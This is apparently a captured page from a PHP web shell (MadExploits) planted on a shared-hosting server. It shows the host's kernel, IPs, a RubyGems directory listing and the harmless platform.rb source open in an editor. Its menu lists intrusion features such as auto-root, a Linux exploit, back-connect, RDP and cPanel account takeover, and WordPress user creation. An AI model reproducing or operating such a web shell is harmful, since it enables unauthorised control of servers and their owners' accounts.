Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.226.226.151
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby30 /
share /
rubygems /
rubygems /
[ HOME SHELL ]
Name
Size
Permission
Action
commands
[ DIR ]
drwxr-xr-x
core_ext
[ DIR ]
drwxr-xr-x
defaults
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
request
[ DIR ]
drwxr-xr-x
request_set
[ DIR ]
drwxr-xr-x
resolver
[ DIR ]
drwxr-xr-x
security
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
ssl_certs
[ DIR ]
drwxr-xr-x
tsort
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
available_set.rb
3.01
KB
-rw-r--r--
basic_specification.rb
7.7
KB
-rw-r--r--
bundler_version_finder.rb
3.04
KB
-rw-r--r--
command.rb
15.91
KB
-rw-r--r--
command_manager.rb
5.09
KB
-rw-r--r--
compatibility.rb
1022
B
-rw-r--r--
config_file.rb
13.28
KB
-rw-r--r--
defaults.rb
7.06
KB
-rw-r--r--
dependency.rb
8.6
KB
-rw-r--r--
dependency_installer.rb
10.22
KB
-rw-r--r--
dependency_list.rb
5.54
KB
-rw-r--r--
deprecate.rb
3.44
KB
-rw-r--r--
doctor.rb
3.18
KB
-rw-r--r--
errors.rb
4.65
KB
-rw-r--r--
exceptions.rb
6.35
KB
-rw-r--r--
ext.rb
460
B
-rw-r--r--
gem_runner.rb
1.9
KB
-rw-r--r--
gemcutter_utilities.rb
7.63
KB
-rw-r--r--
indexer.rb
10.85
KB
-rw-r--r--
install_default_message.rb
348
B
-rw-r--r--
install_message.rb
322
B
-rw-r--r--
install_update_options.rb
6.3
KB
-rw-r--r--
installer.rb
26.4
KB
-rw-r--r--
installer_uninstaller_utils.rb
773
B
-rw-r--r--
local_remote_options.rb
3.56
KB
-rw-r--r--
mock_gem_ui.rb
1.38
KB
-rw-r--r--
name_tuple.rb
2.4
KB
-rw-r--r--
openssl.rb
125
B
-rw-r--r--
optparse.rb
72
B
-rw-r--r--
package.rb
17.17
KB
-rw-r--r--
package_task.rb
3.79
KB
-rw-r--r--
path_support.rb
1.88
KB
-rw-r--r--
platform.rb
6.65
KB
-rw-r--r--
psych_additions.rb
300
B
-rw-r--r--
psych_tree.rb
794
B
-rw-r--r--
query_utils.rb
8.61
KB
-rw-r--r--
rdoc.rb
231
B
-rw-r--r--
remote_fetcher.rb
9.26
KB
-rw-r--r--
request.rb
8.62
KB
-rw-r--r--
request_set.rb
11.25
KB
-rw-r--r--
requirement.rb
6.91
KB
-rw-r--r--
resolver.rb
9.65
KB
-rw-r--r--
s3_uri_signer.rb
5.91
KB
-rw-r--r--
safe_yaml.rb
1.5
KB
-rw-r--r--
security.rb
22.4
KB
-rw-r--r--
security_option.rb
1.06
KB
-rw-r--r--
server.rb
22.87
KB
-rw-r--r--
source.rb
5.7
KB
-rw-r--r--
source_list.rb
2.52
KB
-rw-r--r--
spec_fetcher.rb
6.54
KB
-rw-r--r--
specification.rb
70.07
KB
-rw-r--r--
specification_policy.rb
13.12
KB
-rw-r--r--
stub_specification.rb
4.74
KB
-rw-r--r--
text.rb
1.85
KB
-rw-r--r--
tsort.rb
66
B
-rw-r--r--
uninstaller.rb
10.22
KB
-rw-r--r--
uri.rb
2.12
KB
-rw-r--r--
uri_formatter.rb
781
B
-rw-r--r--
user_interaction.rb
13.11
KB
-rw-r--r--
util.rb
2.5
KB
-rw-r--r--
validator.rb
3.65
KB
-rw-r--r--
version.rb
12.44
KB
-rw-r--r--
version_option.rb
2.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : platform.rb
# frozen_string_literal: true require_relative "deprecate" ## # Available list of platforms for targeting Gem installations. # # See `gem help platform` for information on platform matching. class Gem::Platform @local = nil attr_accessor :cpu, :os, :version def self.local arch = RbConfig::CONFIG['arch'] arch = "#{arch}_60" if arch =~ /mswin(?:32|64)$/ @local ||= new(arch) end def self.match(platform) match_platforms?(platform, Gem.platforms) end def self.match_platforms?(platform, platforms) platforms.any? do |local_platform| platform.nil? or local_platform == platform or (local_platform != Gem::Platform::RUBY and local_platform =~ platform) end end private_class_method :match_platforms? def self.match_spec?(spec) match_gem?(spec.platform, spec.name) end def self.match_gem?(platform, gem_name) # Note: this method might be redefined by Ruby implementations to # customize behavior per RUBY_ENGINE, gem_name or other criteria. match_platforms?(platform, Gem.platforms) end def self.installable?(spec) if spec.respond_to? :installable_platform? spec.installable_platform? else match_spec? spec end end def self.new(arch) # :nodoc: case arch when Gem::Platform::CURRENT then Gem::Platform.local when Gem::Platform::RUBY, nil, '' then Gem::Platform::RUBY else super end end def initialize(arch) case arch when Array then @cpu, @os, @version = arch when String then arch = arch.split '-' if arch.length > 2 and arch.last !~ /\d/ # reassemble x86-linux-gnu extra = arch.pop arch.last << "-#{extra}" end cpu = arch.shift @cpu = case cpu when /i\d86/ then 'x86' else cpu end if arch.length == 2 and arch.last =~ /^\d+(\.\d+)?$/ # for command-line @os, @version = arch return end os, = arch @cpu, os = nil, cpu if os.nil? # legacy jruby @os, @version = case os when /aix(\d+)?/ then [ 'aix', $1 ] when /cygwin/ then [ 'cygwin', nil ] when /darwin(\d+)?/ then [ 'darwin', $1 ] when /^macruby$/ then [ 'macruby', nil ] when /freebsd(\d+)?/ then [ 'freebsd', $1 ] when /hpux(\d+)?/ then [ 'hpux', $1 ] when /^java$/, /^jruby$/ then [ 'java', nil ] when /^java([\d.]*)/ then [ 'java', $1 ] when /^dalvik(\d+)?$/ then [ 'dalvik', $1 ] when /^dotnet$/ then [ 'dotnet', nil ] when /^dotnet([\d.]*)/ then [ 'dotnet', $1 ] when /linux-?((?!gnu)\w+)?/ then [ 'linux', $1 ] when /mingw32/ then [ 'mingw32', nil ] when /mingw-?(\w+)?/ then [ 'mingw', $1 ] when /(mswin\d+)(\_(\d+))?/ then os, version = $1, $3 @cpu = 'x86' if @cpu.nil? and os =~ /32$/ [os, version] when /netbsdelf/ then [ 'netbsdelf', nil ] when /openbsd(\d+\.\d+)?/ then [ 'openbsd', $1 ] when /bitrig(\d+\.\d+)?/ then [ 'bitrig', $1 ] when /solaris(\d+\.\d+)?/ then [ 'solaris', $1 ] # test when /^(\w+_platform)(\d+)?/ then [ $1, $2 ] else [ 'unknown', nil ] end when Gem::Platform then @cpu = arch.cpu @os = arch.os @version = arch.version else raise ArgumentError, "invalid argument #{arch.inspect}" end end def to_a [@cpu, @os, @version] end def to_s to_a.compact.join '-' end ## # Is +other+ equal to this platform? Two platforms are equal if they have # the same CPU, OS and version. def ==(other) self.class === other and to_a == other.to_a end alias :eql? :== def hash # :nodoc: to_a.hash end ## # Does +other+ match this platform? Two platforms match if they have the # same CPU, or either has a CPU of 'universal', they have the same OS, and # they have the same version, or either has no version. # # Additionally, the platform will match if the local CPU is 'arm' and the # other CPU starts with "arm" (for generic ARM family support). def ===(other) return nil unless Gem::Platform === other # cpu ([nil,'universal'].include?(@cpu) or [nil, 'universal'].include?(other.cpu) or @cpu == other.cpu or (@cpu == 'arm' and other.cpu.start_with?("arm"))) and # os @os == other.os and # version (@version.nil? or other.version.nil? or @version == other.version) end ## # Does +other+ match this platform? If +other+ is a String it will be # converted to a Gem::Platform first. See #=== for matching rules. def =~(other) case other when Gem::Platform then # nop when String then # This data is from http://gems.rubyforge.org/gems/yaml on 19 Aug 2007 other = case other when /^i686-darwin(\d)/ then ['x86', 'darwin', $1 ] when /^i\d86-linux/ then ['x86', 'linux', nil ] when 'java', 'jruby' then [nil, 'java', nil ] when /^dalvik(\d+)?$/ then [nil, 'dalvik', $1 ] when /dotnet(\-(\d+\.\d+))?/ then ['universal','dotnet', $2 ] when /mswin32(\_(\d+))?/ then ['x86', 'mswin32', $2 ] when /mswin64(\_(\d+))?/ then ['x64', 'mswin64', $2 ] when 'powerpc-darwin' then ['powerpc', 'darwin', nil ] when /powerpc-darwin(\d)/ then ['powerpc', 'darwin', $1 ] when /sparc-solaris2.8/ then ['sparc', 'solaris', '2.8' ] when /universal-darwin(\d)/ then ['universal', 'darwin', $1 ] else other end other = Gem::Platform.new other else return nil end self === other end ## # A pure-Ruby gem that may use Gem::Specification#extensions to build # binary files. RUBY = 'ruby'.freeze ## # A platform-specific gem that is built for the packaging Ruby's platform. # This will be replaced with Gem::Platform::local. CURRENT = 'current'.freeze end
Close